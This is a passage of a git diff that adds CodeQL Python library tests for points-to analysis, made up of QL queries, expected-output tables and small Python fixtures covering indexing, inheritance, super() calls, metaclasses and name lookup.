+| 4 | ControlFlowNode for l | List | 4 | +| 6 | ControlFlowNode for d | deque() | 3 | +| 7 | ControlFlowNode for l | List | 4 | +| 8 | ControlFlowNode for IntegerLiteral | int 1 | 8 | +| 8 | ControlFlowNode for t | int 1 | 8 | +| 9 | ControlFlowNode for IntegerLiteral | int 0 | 9 | +| 9 | ControlFlowNode for Subscript | int 1 | 8 | +| 9 | ControlFlowNode for d | deque() | 3 | +| 9 | ControlFlowNode for t | int 1 | 8 | +| 10 | ControlFlowNode for IntegerLiteral | int 0 | 10 | +| 10 | ControlFlowNode for Subscript | int 1 | 8 | +| 10 | ControlFlowNode for l | List | 4 | +| 10 | ControlFlowNode for t | int 1 | 8 | +| 11 | ControlFlowNode for d | deque() | 3 | +| 12 | ControlFlowNode for l | List | 4 | +| 13 | ControlFlowNode for d | deque() | 3 | +| 14 | ControlFlowNode for IntegerLiteral | int 0 | 14 | +| 14 | ControlFlowNode for d | deque() | 3 | diff --git a/python/ql/test/library-tests/PointsTo/indexing/Test.ql b/python/ql/test/library-tests/PointsTo/indexing/Test.ql new file mode 100644 index 00000000000..70b62e825f7 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/Test.ql @@ -0,0 +1,8 @@ +import python + +from ControlFlowNode f, Object o, ControlFlowNode x + +where f.refersTo(o, x) and +f.getLocation().getFile().getBaseName() = "test.py" + +select f.getLocation().getStartLine(), f.toString(), o.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/indexing/TestWithType.expected b/python/ql/test/library-tests/PointsTo/indexing/TestWithType.expected new file mode 100644 index 00000000000..a542ba9fe86 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/TestWithType.expected @@ -0,0 +1,27 @@ +| 1 | ControlFlowNode for ImportExpr | Module fake_collections | builtin-class module | 1 | +| 1 | ControlFlowNode for ImportMember | class deque | builtin-class type | 4 | +| 1 | ControlFlowNode for deque | class deque | builtin-class type | 4 | +| 2 | ControlFlowNode for FunctionExpr | Function f | builtin-class function | 2 | +| 2 | ControlFlowNode for f | Function f | builtin-class function | 2 | +| 3 | ControlFlowNode for d | deque() | class deque | 3 | +| 3 | ControlFlowNode for deque | class deque | builtin-class type | 4 | +| 3 | ControlFlowNode for deque() | deque() | class deque | 3 | +| 4 | ControlFlowNode for List | List | builtin-class list | 4 | +| 4 | ControlFlowNode for l | List | builtin-class list | 4 | +| 6 | ControlFlowNode for d | deque() | class deque | 3 | +| 7 | ControlFlowNode for l | List | builtin-class list | 4 | +| 8 | ControlFlowNode for IntegerLiteral | int 1 | builtin-class int | 8 | +| 8 | ControlFlowNode for t | int 1 | builtin-class int | 8 | +| 9 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 9 | +| 9 | ControlFlowNode for Subscript | int 1 | builtin-class int | 8 | +| 9 | ControlFlowNode for d | deque() | class deque | 3 | +| 9 | ControlFlowNode for t | int 1 | builtin-class int | 8 | +| 10 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 10 | +| 10 | ControlFlowNode for Subscript | int 1 | builtin-class int | 8 | +| 10 | ControlFlowNode for l | List | builtin-class list | 4 | +| 10 | ControlFlowNode for t | int 1 | builtin-class int | 8 | +| 11 | ControlFlowNode for d | deque() | class deque | 3 | +| 12 | ControlFlowNode for l | List | builtin-class list | 4 | +| 13 | ControlFlowNode for d | deque() | class deque | 3 | +| 14 | ControlFlowNode for IntegerLiteral | int 0 | builtin-class int | 14 | +| 14 | ControlFlowNode for d | deque() | class deque | 3 | diff --git a/python/ql/test/library-tests/PointsTo/indexing/TestWithType.ql b/python/ql/test/library-tests/PointsTo/indexing/TestWithType.ql new file mode 100644 index 00000000000..6b0c8b8460d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/TestWithType.ql @@ -0,0 +1,8 @@ +import python + +from ControlFlowNode f, Object o, ClassObject c, ControlFlowNode x + +where f.refersTo(o, c, x) and +f.getLocation().getFile().getBaseName() = "test.py" + +select f.getLocation().getStartLine(), f.toString(), o.toString(), c.toString(), x.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/indexing/fake_collections.py b/python/ql/test/library-tests/PointsTo/indexing/fake_collections.py new file mode 100644 index 00000000000..6f0ee9bde2d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/fake_collections.py @@ -0,0 +1,16 @@ +# Use a fake collection module, otherwise we need to set the import depth to 3 +# which makes the test run very slowly. + +class deque(object): + + def __getitem__(self, index): + pass + + def append(self, item): + pass + + def index(self, key): + pass + + def __reversed__(self): + pass diff --git a/python/ql/test/library-tests/PointsTo/indexing/options b/python/ql/test/library-tests/PointsTo/indexing/options new file mode 100644 index 00000000000..eb214fc2931 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=1 diff --git a/python/ql/test/library-tests/PointsTo/indexing/test.py b/python/ql/test/library-tests/PointsTo/indexing/test.py new file mode 100644 index 00000000000..fba7bd91141 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/indexing/test.py @@ -0,0 +1,14 @@ +from fake_collections import deque +def f(x, y, z): + d = deque() + l = [] + for i in seq: + d[x] = y + l[x] = z + t = 1 + d[0] = t + l[0] = t + d[i] + l[i] + d[x] + d[0] diff --git a/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.expected b/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.expected new file mode 100644 index 00000000000..24feada6fe1 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.expected @@ -0,0 +1,15 @@ +| class Base | 0 | builtin-class object | +| class Derived1 | 0 | class Base | +| class Derived2 | 0 | class Derived1 | +| class Derived3 | 0 | class Derived1 | +| class Derived4 | 0 | class Derived3 | +| class Derived4 | 1 | class Derived2 | +| class Derived5 | 0 | class Derived1 | +| class Derived6 | 0 | class Derived5 | +| class Derived6 | 1 | class Derived2 | +| class Missing2 | 0 | class Base | +| class Missing3 | 1 | class Base | +| class Wrong1 | 0 | class Derived5 | +| class Wrong1 | 1 | class Derived2 | +| class Wrong2 | 0 | class Derived3 | +| class Wrong2 | 1 | class Derived2 | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.ql b/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.ql new file mode 100644 index 00000000000..27b2ed4ce2f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/BaseTypes.ql @@ -0,0 +1,7 @@ + +import python + +from ClassObject cls, ClassObject base, int n +where not cls.isBuiltin() and +base = cls.getBaseType(n) +select cls.toString(), n, base.toString() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Calls.expected b/python/ql/test/library-tests/PointsTo/inheritance/Calls.expected new file mode 100644 index 00000000000..f044ce05f9d --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Calls.expected @@ -0,0 +1,8 @@ +| 9 | Function meth | 3 | +| 14 | Function meth | 8 | +| 22 | Function meth | 13 | +| 27 | Function meth | 8 | +| 27 | Function meth | 13 | +| 32 | Function meth | 26 | +| 38 | Function meth | 13 | +| 43 | Function meth | 13 | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Calls.ql b/python/ql/test/library-tests/PointsTo/inheritance/Calls.ql new file mode 100644 index 00000000000..d35ac04bb30 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Calls.ql @@ -0,0 +1,8 @@ + +import python + +from Call c, FunctionObject f + +where f.getACall().getNode() = c + +select c.getLocation().getStartLine(), f.toString(), f.getFunction().getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Declared.expected b/python/ql/test/library-tests/PointsTo/inheritance/Declared.expected new file mode 100644 index 00000000000..daf2d029e7f --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Declared.expected @@ -0,0 +1,11 @@ +| class Base | meth | Function meth | 3 | +| class Derived1 | meth | Function meth | 8 | +| class Derived2 | meth | Function meth | 13 | +| class Derived4 | meth | Function meth | 21 | +| class Derived5 | meth | Function meth | 26 | +| class Derived6 | meth | Function meth | 31 | +| class Missing1 | a | Function a | 49 | +| class Missing2 | b | Function b | 53 | +| class Missing3 | c | Function c | 57 | +| class Wrong1 | meth | Function meth | 37 | +| class Wrong2 | meth | Function meth | 42 | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Declared.ql b/python/ql/test/library-tests/PointsTo/inheritance/Declared.ql new file mode 100644 index 00000000000..890fe308ea4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Declared.ql @@ -0,0 +1,7 @@ + +import python +import semmle.python.pointsto.PointsTo + +from ClassObject cls, string name, PyFunctionObject f +where PointsTo::Types::class_declared_attribute(cls, name, f, _, _) +select cls.toString(), name, f.toString(), f.getFunction().getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Declares.expected b/python/ql/test/library-tests/PointsTo/inheritance/Declares.expected new file mode 100644 index 00000000000..625172325b6 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Declares.expected @@ -0,0 +1,11 @@ +| Class Base | meth | +| Class Derived1 | meth | +| Class Derived2 | meth | +| Class Derived4 | meth | +| Class Derived5 | meth | +| Class Derived6 | meth | +| Class Missing1 | a | +| Class Missing2 | b | +| Class Missing3 | c | +| Class Wrong1 | meth | +| Class Wrong2 | meth | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Declares.ql b/python/ql/test/library-tests/PointsTo/inheritance/Declares.ql new file mode 100644 index 00000000000..ee837e66478 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Declares.ql @@ -0,0 +1,7 @@ + +import python +import semmle.python.pointsto.Base + +from ClassObject cls, string name +where class_declares_attribute(cls, name) +select cls.getPyClass().toString(), name diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Lookup.expected b/python/ql/test/library-tests/PointsTo/inheritance/Lookup.expected new file mode 100644 index 00000000000..d64169b6551 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Lookup.expected @@ -0,0 +1,13 @@ +| class Base | meth | Function meth | 3 | +| class Derived1 | meth | Function meth | 8 | +| class Derived2 | meth | Function meth | 13 | +| class Derived3 | meth | Function meth | 8 | +| class Derived4 | meth | Function meth | 21 | +| class Derived5 | meth | Function meth | 26 | +| class Derived6 | meth | Function meth | 31 | +| class Missing1 | a | Function a | 49 | +| class Missing2 | b | Function b | 53 | +| class Missing2 | meth | Function meth | 3 | +| class Missing3 | c | Function c | 57 | +| class Wrong1 | meth | Function meth | 37 | +| class Wrong2 | meth | Function meth | 42 | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Lookup.ql b/python/ql/test/library-tests/PointsTo/inheritance/Lookup.ql new file mode 100644 index 00000000000..5f229b8d0d0 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Lookup.ql @@ -0,0 +1,7 @@ + +import python +import semmle.python.pointsto.PointsTo + +from ClassObject cls, string name, PyFunctionObject f +where PointsTo::Types::class_attribute_lookup(cls, name, f, _, _) +select cls.toString(), name, f.toString(), f.getFunction().getLocation().getStartLine() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.expected b/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.expected new file mode 100644 index 00000000000..0348b74c1fb --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.expected @@ -0,0 +1,9 @@ +| class Base | builtin-class type | +| class Derived1 | builtin-class type | +| class Derived2 | builtin-class type | +| class Derived3 | builtin-class type | +| class Derived4 | builtin-class type | +| class Derived5 | builtin-class type | +| class Derived6 | builtin-class type | +| class Wrong1 | builtin-class type | +| class Wrong2 | builtin-class type | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.ql b/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.ql new file mode 100644 index 00000000000..064cc2ca688 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/MetaClass.ql @@ -0,0 +1,8 @@ + +import python + +from ClassObject cls, ClassObject meta +where not cls.isBuiltin() and +meta = cls.getMetaClass() +select cls.toString(), meta.toString() + diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Mro.expected b/python/ql/test/library-tests/PointsTo/inheritance/Mro.expected new file mode 100644 index 00000000000..b64915a38a3 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Mro.expected @@ -0,0 +1,12 @@ +| class Base | [Base, object] | +| class Derived1 | [Derived1, Base, object] | +| class Derived2 | [Derived2, Derived1, Base, object] | +| class Derived3 | [Derived3, Derived1, Base, object] | +| class Derived4 | [Derived4, Derived3, Derived2, Derived1, Base, object] | +| class Derived5 | [Derived5, Derived1, Base, object] | +| class Derived6 | [Derived6, Derived5, Derived2, Derived1, Base, object] | +| class Missing1 | [Missing1, UNKNOWN, object] | +| class Missing2 | [Missing2, Base, UNKNOWN, object] | +| class Missing3 | [Missing3, UNKNOWN, Base, object] | +| class Wrong1 | [Wrong1, Derived5, Derived2, Derived1, Base, object] | +| class Wrong2 | [Wrong2, Derived3, Derived2, Derived1, Base, object] | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Mro.ql b/python/ql/test/library-tests/PointsTo/inheritance/Mro.ql new file mode 100644 index 00000000000..d7373fc2b35 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Mro.ql @@ -0,0 +1,17 @@ + +import python + +/** Make unknown type visible */ +class UnknownType extends ClassObject { + + UnknownType() { this = theUnknownType() } + + override string toString() { result = "*UNKNOWN TYPE" } + + override string getName() { result = "UNKNOWN" } + +} + +from ClassObject c +where not c.isBuiltin() +select c.toString(), c.getMro() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Self.expected b/python/ql/test/library-tests/PointsTo/inheritance/Self.expected new file mode 100644 index 00000000000..ba9aee6dd7b --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Self.expected @@ -0,0 +1,18 @@ +| 9 | self | class Derived1 | +| 9 | self | class Derived2 | +| 9 | self | class Derived4 | +| 9 | self | class Derived5 | +| 9 | self | class Derived6 | +| 9 | self | class Wrong1 | +| 9 | self | class Wrong2 | +| 14 | self | class Derived2 | +| 14 | self | class Derived4 | +| 14 | self | class Derived6 | +| 14 | self | class Wrong1 | +| 14 | self | class Wrong2 | +| 22 | self | class Derived4 | +| 27 | self | class Derived5 | +| 27 | self | class Derived6 | +| 32 | self | class Derived6 | +| 38 | self | class Wrong1 | +| 43 | self | class Wrong2 | diff --git a/python/ql/test/library-tests/PointsTo/inheritance/Self.ql b/python/ql/test/library-tests/PointsTo/inheritance/Self.ql new file mode 100644 index 00000000000..a72da5f5248 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/Self.ql @@ -0,0 +1,6 @@ + +import python + +from NameNode n, Object value, ClassObject cls +where n.getId() = "self" and n.refersTo(value, cls, _) +select n.getNode().getLocation().getStartLine(), value.toString(), cls.toString() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.expected b/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.expected new file mode 100644 index 00000000000..48ef4076ed2 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.expected @@ -0,0 +1,37 @@ +| class Base | builtin-class object | +| class Derived1 | builtin-class object | +| class Derived1 | class Base | +| class Derived2 | builtin-class object | +| class Derived2 | class Base | +| class Derived2 | class Derived1 | +| class Derived3 | builtin-class object | +| class Derived3 | class Base | +| class Derived3 | class Derived1 | +| class Derived4 | builtin-class object | +| class Derived4 | class Base | +| class Derived4 | class Derived1 | +| class Derived4 | class Derived2 | +| class Derived4 | class Derived3 | +| class Derived5 | builtin-class object | +| class Derived5 | class Base | +| class Derived5 | class Derived1 | +| class Derived6 | builtin-class object | +| class Derived6 | class Base | +| class Derived6 | class Derived1 | +| class Derived6 | class Derived2 | +| class Derived6 | class Derived5 | +| class Missing1 | builtin-class object | +| class Missing2 | builtin-class object | +| class Missing2 | class Base | +| class Missing3 | builtin-class object | +| class Missing3 | class Base | +| class Wrong1 | builtin-class object | +| class Wrong1 | class Base | +| class Wrong1 | class Derived1 | +| class Wrong1 | class Derived2 | +| class Wrong1 | class Derived5 | +| class Wrong2 | builtin-class object | +| class Wrong2 | class Base | +| class Wrong2 | class Derived1 | +| class Wrong2 | class Derived2 | +| class Wrong2 | class Derived3 | \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.ql b/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.ql new file mode 100644 index 00000000000..0793957f2e4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/SuperTypes.ql @@ -0,0 +1,7 @@ + +import python + +from ClassObject cls, ClassObject sup +where not cls.isBuiltin() and +sup = cls.getASuperType() +select cls.toString(), sup.toString() diff --git a/python/ql/test/library-tests/PointsTo/inheritance/test.py b/python/ql/test/library-tests/PointsTo/inheritance/test.py new file mode 100644 index 00000000000..58e84dac306 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/inheritance/test.py @@ -0,0 +1,59 @@ +class Base(object): + + def meth(self): + pass + +class Derived1(Base): + + def meth(self): + return super(Derived1, self).meth() + +class Derived2(Derived1): + + def meth(self): + return super(Derived2, self).meth() + +class Derived3(Derived1): + pass + +class Derived4(Derived3, Derived2): + + def meth(self): + return super(Derived4, self).meth() + +class Derived5(Derived1): + + def meth(self): + return super(Derived5, self).meth() + +class Derived6(Derived5, Derived2): + + def meth(self): + return super(Derived6, self).meth() + +#Incorrect use of super() +class Wrong1(Derived5, Derived2): + + def meth(self): + return super(Derived5, self).meth() + +class Wrong2(Derived3, Derived2): + + def meth(self): + return super(Derived3, self).meth() + +UT = type.__new__(no_name, no_args) +UV = UT() + +class Missing1(UT): + def a(self): + pass + +class Missing2(Base, UT): + def b(self): + pass + +class Missing3(UT, Base): + def c(self): + pass + diff --git a/python/ql/test/library-tests/PointsTo/lookup/Lookup.expected b/python/ql/test/library-tests/PointsTo/lookup/Lookup.expected new file mode 100644 index 00000000000..d01f9d843aa --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/lookup/Lookup.expected @@ -0,0 +1,79 @@ +| 3 | object | global | +| 8 | self | local | +| 10 | C | global | +| 13 | len | global | +| 13 | sys | global | +| 14 | C | global | +| 16 | D | global | +| 17 | v1 | global | +| 20 | len | global | +| 20 | sys | global | +| 21 | C | global | +| 23 | D | global | +| 24 | v3 | local | +| 27 | arg | local | +| 29 | object | global | +| 30 | classmethod | global | +| 34 | deco | global | +| 38 | f | global | +| 38 | g | global | +| 41 | f | local | +| 43 | object | global | +| 45 | deco | global | +| 49 | v1 | global | +| 50 | v2 | global | +| 51 | v3 | global | +| 52 | v4 | global | +| 53 | list | global | +| 56 | len | global | +| 56 | sys | global | +| 57 | C | global | +| 59 | D | global | +| 60 | args | local | +| 60 | list | global | +| 60 | v5 | local | +| 63 | dict | global | +| 63 | tuple | global | +| 64 | dict | global | +| 66 | dict | global | +| 67 | tuple | global | +| 68 | tuple | global | +| 71 | abstractmethod | global | +| 74 | unknown | global | +| 80 | list | global | +| 80 | unknown | global | +| 80 | x | local | +| 80 | y | non-local | +| 80 | z | non-local | +| 82 | inner | local | +| 87 | list | global | +| 87 | unknown | global | +| 87 | x | non-local | +| 87 | y | non-local | +| 87 | z | non-local | +| 89 | y | local | +| 89 | z | local | +| 90 | inner | local | +| 92 | following | global | +| 98 | a | local | +| 99 | b | local | +| 100 | c | local | +| 103 | BaseException | global | +| 105 | A | local | +| 106 | a | local | +| 111 | z | global | +| 114 | list | global | +| 114 | tuple | global | +| 115 | _tuple | local | +| 116 | _list | local | +| 119 | t | local | +| 120 | d | local | +| 123 | object | global | +| 128 | arg | non-local | +| 128 | args | local | +| 129 | wrapper | local | +| 131 | _internal | local | +| 136 | x | global | +| 140 | object | global | +| 142 | x | global | +| 143 | x | local | \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/lookup/Lookup.ql b/python/ql/test/library-tests/PointsTo/lookup/Lookup.ql new file mode 100644 index 00000000000..43007b7f816 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/lookup/Lookup.ql @@ -0,0 +1,12 @@ +import python + +from string l, NameNode n +where n.getLocation().getFile().getName().matches("%test.py") and +( + n.isGlobal() and l = "global" + or + n.isLocal() and l = "local" + or + n.isNonLocal() and l = "non-local" +) +select n.getLocation().getStartLine(), n.getId(), l diff --git a/python/ql/test/library-tests/PointsTo/lookup/test.py b/python/ql/test/library-tests/PointsTo/lookup/test.py new file mode 100644 index 00000000000..8b748230855 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/lookup/test.py @@ -0,0 +1,143 @@ +from __future__ import unicode_literals +import sys +class C(object): + + x = 'C_x' + + def __init__(self): + self.y = 'c_y' + +class D(C): + pass + +if len(sys.argv) > 2: + v1 = C +else: + v1 = D +v2 = v1() + +def f(): + if len(sys.argv) > 3: + v3 = C() + else: + v3 = D() + return v3 + +def g(arg): + return arg + +class X(object): + @classmethod + def method1(cls): + pass + + @deco + def method2(self): + pass + +v4 = g(f()) + +def deco(f): + return f + +class Y(object): + + @deco + def method2(self): + pass + +v1 +v2 +v3 +v4 +list + +def h(args): + if len(sys.argv) > 4: + v5 = C() + else: + v5 = D() + return v5, list(args) + +def j(): + return tuple, dict +dict +dict = 7 +dict +tuple = tuple +tuple + +from abc import abstractmethod +abstractmethod + +from module import unknown +unknown + +#Value of variables in inner functions +def outer(): + y = 1 + def inner(x): + return x + y + z + unknown + list + z = 2; + return inner + +def outer_use_vars(x): + y = 1 + def inner(): + return x + y + z + unknown + list + z = 2; + y + z + return inner + +y = lambda x : following() + +def following(): + pass + +def params_and_defaults(a, b={}, c = 1): + a + b + c + +def inner_cls(): + class A(BaseException): + pass + a = A() + raise a + + + + +z + +def multiple_assignment(): + _tuple, _list = tuple, list + _tuple + _list + +def vararg_kwarg(*t, **d): + t + d + + +class E(object): + + def _internal(arg): + # arg is not a C + def wrapper(args): + return arg(args) + return wrapper + + @_internal + def method(self, *args): + pass + +x = 1 +x + + +#Global in class scope +class F(object): + + x = x + x diff --git a/python/ql/test/library-tests/PointsTo/metaclass/test.expected b/python/ql/test/library-tests/PointsTo/metaclass/test.expected new file mode 100644 index 00000000000..b34df4189bd --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/metaclass/test.expected @@ -0,0 +1,7 @@ +| class C1 | class Meta1 | +| class C2 | class Meta2 | +| class C3 | builtin-class type | +| class C4 | class Meta2 | +| class Meta1 | builtin-class type | +| class Meta2 | builtin-class type | +| class NewStyleEvenForPython2 | builtin-class type | diff --git a/python/ql/test/library-tests/PointsTo/metaclass/test.py b/python/ql/test/library-tests/PointsTo/metaclass/test.py new file mode 100644 index 00000000000..c09b3546ecb --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/metaclass/test.py @@ -0,0 +1,36 @@ +import six + +class Meta1(type): + pass + +class Meta2(type): + pass + +@six.add_metaclass(Meta1) +class C1(object): + pass + +@six.add_metaclass(Meta2) +class C2(object): + pass + +#No explicit metaclass +class C3(object): + pass + +#Multiple non-conflicting metaclasses: +class C4(C2, object): + pass + +#Metaclass conflict +class C5(C2, C1): + pass + +@not_known_decorator +class C6(object): + pass + +__metaclass__ = type + +class NewStyleEvenForPython2: + pass diff --git a/python/ql/test/library-tests/PointsTo/metaclass/test.ql b/python/ql/test/library-tests/PointsTo/metaclass/test.ql new file mode 100644 index 00000000000..c1df0b003c5 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/metaclass/test.ql @@ -0,0 +1,6 @@ + +import python + +from ClassObject cls +where cls.getPyClass().getEnclosingModule().getName() = "test" +select cls.toString(), cls.getMetaClass().toString() diff --git a/python/ql/test/library-tests/PointsTo/new/Call.expected b/python/ql/test/library-tests/PointsTo/new/Call.expected new file mode 100644 index 00000000000..b97734a8302 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Call.expected @@ -0,0 +1,28 @@ +| b_condition.py:36 | ControlFlowNode for isinstance() | isinstance | +| b_condition.py:82 | ControlFlowNode for callable() | callable | +| b_condition.py:102 | ControlFlowNode for isinstance() | isinstance | +| d_globals.py:29 | ControlFlowNode for init() | init | +| d_globals.py:77 | ControlFlowNode for set_g4() | set_g4 | +| d_globals.py:81 | ControlFlowNode for set_g4_indirect() | set_g4_indirect | +| d_globals.py:104 | ControlFlowNode for inner() | outer.inner | +| d_globals.py:128 | ControlFlowNode for Attribute() | list.append | +| g_class_init.py:6 | ControlFlowNode for Attribute() | C._init | +| g_class_init.py:11 | ControlFlowNode for Attribute() | C._init2 | +| g_class_init.py:18 | ControlFlowNode for isinstance() | isinstance | +| g_class_init.py:36 | ControlFlowNode for Attribute() | object.__init__ | +| l_calls.py:4 | ControlFlowNode for Attribute() | list.append | +| l_calls.py:7 | ControlFlowNode for len() | len | +| l_calls.py:9 | ControlFlowNode for foo() | foo | +| l_calls.py:10 | ControlFlowNode for bar() | bar | +| l_calls.py:24 | ControlFlowNode for Attribute() | Owner.cm | +| l_calls.py:25 | ControlFlowNode for Attribute() | Owner.cm2 | +| q_super.py:4 | ControlFlowNode for Attribute() | object.__init__ | +| q_super.py:12 | ControlFlowNode for Attribute() | Base2.__init__ | +| q_super.py:22 | ControlFlowNode for Attribute() | Base1.meth | +| q_super.py:27 | ControlFlowNode for Attribute() | Derived1.meth | +| q_super.py:32 | ControlFlowNode for Attribute() | Derived1.meth | +| q_super.py:38 | ControlFlowNode for Attribute() | Derived2.meth | +| q_super.py:52 | ControlFlowNode for Attribute() | DA.__init__ | +| q_super.py:59 | ControlFlowNode for Attribute() | DA.__init__ | +| q_super.py:66 | ControlFlowNode for Attribute() | DA.__init__ | +| q_super.py:76 | ControlFlowNode for i() | object.__init__ | diff --git a/python/ql/test/library-tests/PointsTo/new/Call.ql b/python/ql/test/library-tests/PointsTo/new/Call.ql new file mode 100644 index 00000000000..f740b0060f6 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Call.ql @@ -0,0 +1,8 @@ + +import python +import Util + +from ControlFlowNode call, FunctionObject func + +where call = func.getACall() +select locate(call.getLocation(), "abdglq"), call.toString(), func.getQualifiedName() \ No newline at end of file diff --git a/python/ql/test/library-tests/PointsTo/new/ClassMethod.expected b/python/ql/test/library-tests/PointsTo/new/ClassMethod.expected new file mode 100644 index 00000000000..f93d242b1e4 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/ClassMethod.expected @@ -0,0 +1,2 @@ +| l_calls.py:24 | Function cm | code/l_calls.py:14 | +| l_calls.py:25 | Function cm2 | code/l_calls.py:18 | diff --git a/python/ql/test/library-tests/PointsTo/new/ClassMethod.ql b/python/ql/test/library-tests/PointsTo/new/ClassMethod.ql new file mode 100644 index 00000000000..2d13f2ae851 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/ClassMethod.ql @@ -0,0 +1,9 @@ + +import python +import semmle.python.types.Descriptors +import Util + +from ClassMethodObject cm, CallNode call +where call = cm.getACall() +select locate(call.getLocation(), "lp"), cm.getFunction().toString(), cm.(ControlFlowNode).getLocation().toString() + diff --git a/python/ql/test/library-tests/PointsTo/new/Dataflow.expected b/python/ql/test/library-tests/PointsTo/new/Dataflow.expected new file mode 100644 index 00000000000..502f88424c0 --- /dev/null +++ b/python/ql/test/library-tests/PointsTo/new/Dataflow.expected @@ -0,0 +1,750 @@ +| __init__.py:0 | *_0 = ScopeEntryDefinition | +| __init__.py:0 | __name___0 = ScopeEntryDefinition | +| __init__.py:0 | __package___0 = ScopeEntryDefinition | +| __init__.py:0 | module2_0 = ImplicitSubModuleDefinition | +| __init__.py:0 | moduleX_0 = ImplicitSubModuleDefinition | +| __init__.py:0 | sys_0 = ScopeEntryDefinition | +| __init__.py:1 | *_1 = ImportStarRefinement(*_0) | +| __init__.py:1 | __name___1 = ImportStarRefinement(__name___0) | +| __init__.py:1 | __package___1 = ImportStarRefinement(__package___0) | +| __init__.py:1 | sys_1 = ImportStarRefinement(sys_0) | +| __init__.py:2 | *_2 = ImportStarRefinement(*_1) | +| __init__.py:2 | __name___2 = ImportStarRefinement(__name___1) | +| __init__.py:2 | __package___2 = ImportStarRefinement(__package___1) | +| __init__.py:2 | module_0 = ImportMember | +| __init__.py:3 | sys_2 = ImportExpr | +| __init__.py:4 | module3_0 = ImportMember | +| __init__.py:5 | module2_1 = IntegerLiteral | +| __init__.py:6 | module4_0 = ImportMember | +| __init__.py:7 | module5_0 = ImportMember | +| __init__.py:8 | moduleX_1 = ImportMember | +| a_simple.py:0 | __name___0 = ScopeEntryDefinition | +| a_simple.py:0 | __package___0 = ScopeEntryDefinition | +| a_simple.py:2 | f1_0 = FloatLiteral | +| a_simple.py:5 | i1_0 = IntegerLiteral | +| a_simple.py:6 | s_0 = Tuple | +| a_simple.py:8 | func_0 = FunctionExpr | +| a_simple.py:11 | C_0 = ClassExpr | +| a_simple.py:14 | d_0 = ParameterDefinition | +| a_simple.py:14 | t_0 = ParameterDefinition | +| a_simple.py:14 | vararg_kwarg_0 = FunctionExpr | +| a_simple.py:18 | multi_loop_0 = FunctionExpr | +| a_simple.py:18 | seq_0 = ParameterDefinition | +| a_simple.py:18 | y_0 = ScopeEntryDefinition | +| a_simple.py:19 | x_0 = None | +| a_simple.py:20 | x_1 = phi(x_0, x_2) | +| a_simple.py:20 | x_2 = ... | +| a_simple.py:20 | y_1 = phi(y_0, y_2) | +| a_simple.py:20 | y_2 = ... | +| a_simple.py:23 | with_definition_0 = FunctionExpr | +| a_simple.py:23 | x_0 = ParameterDefinition | +| a_simple.py:24 | y_0 = with | +| a_simple.py:27 | multi_loop_in_try_0 = 